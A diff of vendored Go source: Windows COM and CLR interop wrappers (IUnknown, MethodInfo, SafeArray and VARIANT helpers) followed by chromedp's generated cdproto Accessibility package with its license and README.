return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
}
err = nil
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
count = *(*uint32)(unsafe.Pointer(ret))
return
}
// InterfaceSupportsErrorInfo
// HRESULT InterfaceSupportsErrorInfo(
// REFIID riid
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error {
debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...")
hr, _, err := syscall.Syscall(
obj.vtbl.InterfaceSupportsErrorInfo,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)),
0,
)
if err != syscall.Errno(0) {
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
+99
View File
@@ -0,0 +1,99 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type IUnknown struct {
vtbl *IUnknownVtbl
}
// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the
// QueryInterface method, and manage the existence of the object through the AddRef and Release methods.
// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three
// methods in IUnknown are the first entries in the vtable for every interface.
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown
type IUnknownVtbl struct {
// QueryInterface Retrieves pointers to the supported interfaces on an object.
QueryInterface uintptr
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer.
AddRef uintptr
// Release Decrements the reference count for an interface on a COM object.
Release uintptr
}
// QueryInterface queries a COM object for a pointer to one of its interface;
// identifying the interface by a reference to its interface identifier (IID).
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
// HRESULT QueryInterface(
// REFIID riid,
// void **ppvObject
// );
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into iunknown.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer
// ULONG AddRef();
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
func (obj *IUnknown) AddRef() (count uint32, err error) {
debugPrint("Entering into iunknown.AddRef()...")
ret, _, err := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
}
err = nil
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
count = *(*uint32)(unsafe.Pointer(ret))
return
}
// Release Decrements the reference count for an interface on a COM object.
// ULONG Release();
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
func (obj *IUnknown) Release() (count uint32, err error) {
debugPrint("Entering into iunknown.Release()...")
ret, _, err := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
}
err = nil
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
count = *(*uint32)(unsafe.Pointer(ret))
return
}
+207
View File
@@ -0,0 +1,207 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// from mscorlib.tlh
type MethodInfo struct {
vtbl *MethodInfoVtbl
}
// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata.
// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo
// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0
// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0
// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0
// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0
type MethodInfoVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
get_ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
get_MemberType uintptr
get_name uintptr
get_DeclaringType uintptr
get_ReflectedType uintptr
GetCustomAttributes uintptr
GetCustomAttributes_2 uintptr
IsDefined uintptr
GetParameters uintptr
GetMethodImplementationFlags uintptr
get_MethodHandle uintptr
get_Attributes uintptr
get_CallingConvention uintptr
Invoke_2 uintptr
get_IsPublic uintptr
get_IsPrivate uintptr
get_IsFamily uintptr
get_IsAssembly uintptr
get_IsFamilyAndAssembly uintptr
get_IsFamilyOrAssembly uintptr
get_IsStatic uintptr
get_IsFinal uintptr
get_IsVirtual uintptr
get_IsHideBySig uintptr
get_IsAbstract uintptr
get_IsSpecialName uintptr
get_IsConstructor uintptr
Invoke_3 uintptr
get_returnType uintptr
get_ReturnTypeCustomAttributes uintptr
GetBaseDefinition uintptr
}
func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into methodinfo.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
func (obj *MethodInfo) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *MethodInfo) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance.
// virtual HRESULT __stdcall Invoke_3 (
// /*[in]*/ VARIANT obj,
// /*[in]*/ SAFEARRAY * parameters,
// /*[out,retval]*/ VARIANT * pRetVal ) = 0;
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0
func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) {
debugPrint("Entering into methodinfo.Invoke_3()...")
var pRetVal *Variant
hr, _, err := syscall.Syscall6(
obj.vtbl.Invoke_3,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&variantObj)),
uintptr(unsafe.Pointer(parameters)),
uintptr(unsafe.Pointer(pRetVal)),
0,
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err)
return
}
// If the HRESULT is a TargetInvocationException, attempt to get the inner error
// This currentl doesn't work
if uint32(hr) == COR_E_TARGETINVOCATION {
var iSupportErrorInfo *ISupportErrorInfo
// See if MethodInfo supports the ISupportErrorInfo interface
err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo))
if err != nil {
err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err)
return
}
// See if the ICorRuntimeHost interface supports the IErrorInfo interface
// Not sure if there is an Interface ID for MethodInfo
err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost)
if err != nil {
err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err)
return
}
// Get the IErrorInfo object
iErrorInfo, errG := GetErrorInfo()
if errG != nil {
err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG)
return err
}
// Read the IErrorInfo description
desc, errD := iErrorInfo.GetDescription()
if errD != nil {
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD)
return err
}
if desc == nil {
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc)
}
if hr != S_OK {
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
return
}
if pRetVal != nil {
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal)
return
}
err = nil
return
}
// GetString returns a string that represents the current object
// a string version of the method's signature
// public virtual string ToString ();
// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString
func (obj *MethodInfo) GetString() (str string, err error) {
debugPrint("Entering into methodinfo.GetString()...")
var object *string
hr, _, err := syscall.Syscall(
obj.vtbl.get_ToString,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&object)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
str = ReadUnicodeStr(unsafe.Pointer(object))
return
}
+340
View File
@@ -0,0 +1,340 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
)
// SafeArray represents a safe array
// defined in OAIdl.h
// typedef struct tagSAFEARRAY {
// USHORT cDims;
// USHORT fFeatures;
// ULONG cbElements;
// ULONG cLocks;
// PVOID pvData;
// SAFEARRAYBOUND rgsabound[1];
// } SAFEARRAY;
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure
type SafeArray struct {
// cDims is the number of dimensions
cDims uint16
// fFeatures is the feature flags
fFeatures uint16
// cbElements is the size of an array element
cbElements uint32
// cLocks is the number of times the array has been locked without a corresponding unlock
cLocks uint32
// pvData is the data
pvData uintptr
// rgsabout is one bound for each dimension
rgsabound [1]SafeArrayBound
}
// SafeArrayBound represents the bounds of one dimension of the array
// typedef struct tagSAFEARRAYBOUND {
// ULONG cElements;
// LONG lLbound;
// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound
type SafeArrayBound struct {
// cElements is the number of elements in the dimension
cElements uint32
// lLbound is the lowerbound of the dimension
lLbound int32
}
// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes
// by making two syscalls and copying raw memory into the correct spot.
func CreateSafeArray(rawBytes []byte) (*SafeArray, error) {
debugPrint("Entering into safearray.CreateSafeArray()...")
safeArrayBounds := SafeArrayBound{
cElements: uint32(len(rawBytes)),
lLbound: int32(0),
}
safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds)
if err != nil {
return nil, err
}
// now we need to use RtlCopyMemory to copy our bytes to the SafeArray
modNtDll := syscall.MustLoadDLL("ntdll.dll")
procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory")
// TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData
// void RtlCopyMemory(
// void* Destination,
// const void* Source,
// size_t Length
// );
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
_, _, err = procRtlCopyMemory.Call(
safeArray.pvData,
uintptr(unsafe.Pointer(&rawBytes[0])),
uintptr(len(rawBytes)),
)
if err != syscall.Errno(0) {
return nil, err
}
return safeArray, nil
}
// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor.
// SAFEARRAY * SafeArrayCreate(
// VARTYPE vt,
// UINT cDims,
// SAFEARRAYBOUND *rgsabound
// );
// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate
func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) {
debugPrint("Entering into safearray.SafeArrayCreate()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
ret, _, err := procSafeArrayCreate.Call(
uintptr(vt),
uintptr(cDims),
uintptr(unsafe.Pointer(rgsabound)),
)
if err != syscall.Errno(0) {
return
}
err = nil
if ret == 0 {
err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret)
return
}
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
safeArray = (*SafeArray)(unsafe.Pointer(ret))
return
}
// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length.
// Allocates a new string and copies the passed string into it.
// It returns a pointer to the string's content.
// BSTR SysAllocString(
// const OLECHAR *psz
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
func SysAllocString(str string) (unsafe.Pointer, error) {
debugPrint("Entering into safearray.SysAllocString()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
sysAllocString := modOleAuto.MustFindProc("SysAllocString")
input := utf16Le(str)
ret, _, err := sysAllocString.Call(
uintptr(unsafe.Pointer(&input[0])),
)
if err != syscall.Errno(0) {
return nil, err
}
// TODO Return a pointer to a BSTR instead of an unsafe.Pointer
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
return unsafe.Pointer(ret), nil
}
// SafeArrayPutElement pushes an element to the safe array at a given index
// HRESULT SafeArrayPutElement(
// SAFEARRAY *psa,
// LONG *rgIndices,
// void *pv
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement
func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error {
debugPrint("Entering into safearray.SafeArrayPutElement()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement")
hr, _, err := safeArrayPutElement.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(unsafe.Pointer(&rgIndices)),
uintptr(pv),
)
if err != syscall.Errno(0) {
return err
}
if hr != S_OK {
return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor
// HRESULT SafeArrayLock(
// SAFEARRAY *psa
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock
func SafeArrayLock(psa *SafeArray) error {
debugPrint("Entering into safearray.SafeArrayLock()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa)))
if err != syscall.Errno(0) {
return err
}
if hr != S_OK {
return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array
// HRESULT SafeArrayGetVartype(
// SAFEARRAY *psa,
// VARTYPE *pvt
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype
func SafeArrayGetVartype(psa *SafeArray) (uint16, error) {
debugPrint("Entering into safearray.SafeArrayGetVartype()...")
var vt uint16
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype")
hr, _, err := safeArrayGetVartype.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(unsafe.Pointer(&vt)),
)
if err != syscall.Errno(0) {
return 0, err
}
if hr != S_OK {
return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr)
}
return vt, nil
}
// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data
// HRESULT SafeArrayAccessData(
// SAFEARRAY *psa,
// void HUGEP **ppvData
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata
func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) {
debugPrint("Entering into safearray.SafeArrayAccessData()...")
var ppvData *uintptr
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData")
hr, _, err := safeArrayAccessData.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(unsafe.Pointer(&ppvData)),
)
if err != syscall.Errno(0) {
return nil, err
}
if hr != S_OK {
return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr)
}
return ppvData, nil
}
// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array
// HRESULT SafeArrayGetLBound(
// SAFEARRAY *psa,
// UINT nDim,
// LONG *plLbound
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound
func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) {
debugPrint("Entering into safearray.SafeArrayGetLBound()...")
var plLbound uint32
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound")
hr, _, err := safeArrayGetLBound.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(nDim),
uintptr(unsafe.Pointer(&plLbound)),
)
if err != syscall.Errno(0) {
return 0, err
}
if hr != S_OK {
return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr)
}
return plLbound, nil
}
// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array
// HRESULT SafeArrayGetUBound(
// SAFEARRAY *psa,
// UINT nDim,
// LONG *plUbound
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound
func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) {
debugPrint("Entering into safearray.SafeArrayGetUBound()...")
var plUbound uint32
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound")
hr, _, err := safeArrayGetUBound.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(nDim),
uintptr(unsafe.Pointer(&plUbound)),
)
if err != syscall.Errno(0) {
return 0, err
}
if hr != S_OK {
return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr)
}
return plUbound, nil
}
// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array.
// If objects are stored in the array, Release is called on each object in the array.
// HRESULT SafeArrayDestroy(
// SAFEARRAY *psa
// );
func SafeArrayDestroy(psa *SafeArray) error {
debugPrint("Entering into safearray.SafeArrayDestroy()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy")
hr, _, err := safeArrayDestroy.Call(
uintptr(unsafe.Pointer(psa)),
0,
0,
)
if err != syscall.Errno(0) {
return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
+107
View File
@@ -0,0 +1,107 @@
// +build windows
package clr
import (
"bytes"
"fmt"
"log"
"strings"
"unicode/utf16"
"unsafe"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
)
var Debug = false
// checkOK evaluates a HRESULT code for a caller and determines if there was an error
func checkOK(hr uintptr, caller string) error {
if hr != S_OK {
return fmt.Errorf("%s returned 0x%08x", caller, hr)
} else {
return nil
}
}
// must forces the program to exit if there is an error using the log.Fatal command
func must(err error) {
if err != nil {
log.Fatal(err)
}
}
func utf16Le(s string) []byte {
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
var buf bytes.Buffer
t := transform.NewWriter(&buf, enc)
t.Write([]byte(s))
return buf.Bytes()
}
func expectsParams(input string) bool {
return !strings.Contains(input, "Void Main()")
}
// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value
func ReadUnicodeStr(ptr unsafe.Pointer) string {
debugPrint("Entering into utils.ReadUnicodeStr()...")
var byteVal uint16
out := make([]uint16, 0)
for i := 0; ; i++ {
byteVal = *(*uint16)(unsafe.Pointer(ptr))
if byteVal == 0x0000 {
break
}
out = append(out, byteVal)
ptr = unsafe.Pointer(uintptr(ptr) + 2)
}
return string(utf16.Decode(out))
}
// debugPrint is used to print messages only when debug has been enabled
func debugPrint(message string) {
if Debug {
fmt.Println("[DEBUG] " + message)
}
}
// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself
// appended to the final safe array
func PrepareParameters(params []string) (*SafeArray, error) {
sab := SafeArrayBound{
cElements: uint32(len(params)),
lLbound: 0,
}
listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR
if err != nil {
return nil, err
}
for i, p := range params {
bstr, err := SysAllocString(p)
if err != nil {
return nil, err
}
SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr)
}
paramVariant := Variant{
VT: VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY
Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)),
}
sab2 := SafeArrayBound{
cElements: uint32(1),
lLbound: 0,
}
paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT
if err != nil {
return nil, err
}
err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(&paramVariant))
if err != nil {
return nil, err
}
return paramsSafeArrayPtr, nil
}
+38
View File
@@ -0,0 +1,38 @@
// +build windows
package clr
const (
// VT_EMPTY No value was specified. If an optional argument to an Automation method is left blank, do not
// pass a VARIANT of type VT_EMPTY. Instead, pass a VARIANT of type VT_ERROR with a value of DISP_E_PARAMNOTFOUND.
VT_EMPTY uint16 = 0x0000
// VT_NULL A propagating null value was specified. (This should not be confused with the null pointer.)
// The null value is used for tri-state logic, as with SQL.
VT_NULL uint16 = 0x0001
// VT_UI1 is a Variant Type of Unsigned Integer of 1-byte
VT_UI1 uint16 = 0x0011
// VT_UT4 is a Varriant Type of Unsigned Integer of 4-byte
VT_UI4 uint16 = 0x0013
// VT_BSTR is a Variant Type of BSTR, an OLE automation type for transfering length-prefixed strings
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/9c5a5ce4-ff5b-45ce-b915-ada381b34ac1
VT_BSTR uint16 = 0x0008
// VT_VARIANT is a Variant Type of VARIANT, a container for a union that can hold many types of data
VT_VARIANT uint16 = 0x000c
// VT_ARRAY is a Variant Type of a SAFEARRAY
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/2e87a537-9305-41c6-a88b-b79809b3703a
VT_ARRAY uint16 = 0x2000
)
// from https://github.com/go-ole/go-ole/blob/master/variant_amd64.go
// https://docs.microsoft.com/en-us/windows/win32/winauto/variant-structure
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant
// https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms891678(v=msdn.10)?redirectedfrom=MSDN
// VARIANT Type Constants https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f
type Variant struct {
VT uint16 // VARTYPE
wReserved1 uint16
wReserved2 uint16
wReserved3 uint16
Val uintptr
_ [8]byte
}
+2
View File
@@ -0,0 +1,2 @@
*.json
*.pdl
+21
View File
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2016-2021 Kenneth Shaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+29
View File
@@ -0,0 +1,29 @@
# About cdproto
Package `cdproto` contains the generated commands, types, and events for the
[Chrome DevTools Protocol domains][devtools-protocol].
[![Unit Tests][cdproto-ci-status]][cdproto-ci]
[![Go Reference][goref-cdproto-status]][goref-cdproto]
This package is generated by the [`cdproto-gen`][cdproto-gen] command. Please
refer to that project and to the main [`chromedp`][chromedp] project for
information on using the commands, types, and events available here.
## API
Please see the [Go Reference][goref-cdproto].
## Contributing
If you would like to submit a change to the code in this package, please submit
your Pull Request to the [`cdproto-gen`][cdproto-gen] project. Any Issues and
Pull Requests submitted to this project will be closed without being reviewed.
[cdproto-ci]: https://github.com/chromedp/cdproto/actions/workflows/build.yml (Build CI)
[cdproto-ci-status]: https://github.com/chromedp/cdproto/actions/workflows/build.yml/badge.svg (Build CI)
[cdproto-gen]: https://github.com/chromedp/cdproto-gen
[chromedp]: https://github.com/chromedp/chromedp
[devtools-protocol]: https://chromedevtools.github.io/devtools-protocol/
[goref-cdproto]: https://pkg.go.dev/github.com/chromedp/cdproto
[goref-cdproto-status]: https://pkg.go.dev/badge/github.com/chromedp/chromedp.svg
+411
View File
@@ -0,0 +1,411 @@
// Package accessibility provides the Chrome DevTools Protocol
// commands, types, and events for the Accessibility domain.
//
// Generated by the cdproto-gen command.
package accessibility
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/runtime"
)
// DisableParams disables the accessibility domain.
type DisableParams struct{}
// Disable disables the accessibility domain.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-disable
func Disable() *DisableParams {
return &DisableParams{}
}
// Do executes Accessibility.disable against the provided context.
func (p *DisableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandDisable, nil, nil)
}
// EnableParams enables the accessibility domain which causes AXNodeIds to
// remain consistent between method calls. This turns on accessibility for the
// page, which can impact performance until accessibility is disabled.
type EnableParams struct{}
// Enable enables the accessibility domain which causes AXNodeIds to remain
// consistent between method calls. This turns on accessibility for the page,
// which can impact performance until accessibility is disabled.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-enable
func Enable() *EnableParams {
return &EnableParams{}
}
// Do executes Accessibility.enable against the provided context.
func (p *EnableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandEnable, nil, nil)
}
// GetPartialAXTreeParams fetches the accessibility node and partial
// accessibility tree for this DOM node, if it exists.
type GetPartialAXTreeParams struct {
NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get the partial accessibility tree for.
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get the partial accessibility tree for.
ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get the partial accessibility tree for.
FetchRelatives bool `json:"fetchRelatives,omitempty"` // Whether to fetch this nodes ancestors, siblings and children. Defaults to true.
}
// GetPartialAXTree fetches the accessibility node and partial accessibility
// tree for this DOM node, if it exists.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getPartialAXTree
//
// parameters:
func GetPartialAXTree() *GetPartialAXTreeParams {
return &GetPartialAXTreeParams{}
}
// WithNodeID identifier of the node to get the partial accessibility tree
// for.
func (p GetPartialAXTreeParams) WithNodeID(nodeID cdp.NodeID) *GetPartialAXTreeParams {
p.NodeID = nodeID
return &p
}
// WithBackendNodeID identifier of the backend node to get the partial
// accessibility tree for.
func (p GetPartialAXTreeParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *GetPartialAXTreeParams {
p.BackendNodeID = backendNodeID
return &p
}
// WithObjectID JavaScript object id of the node wrapper to get the partial
// accessibility tree for.
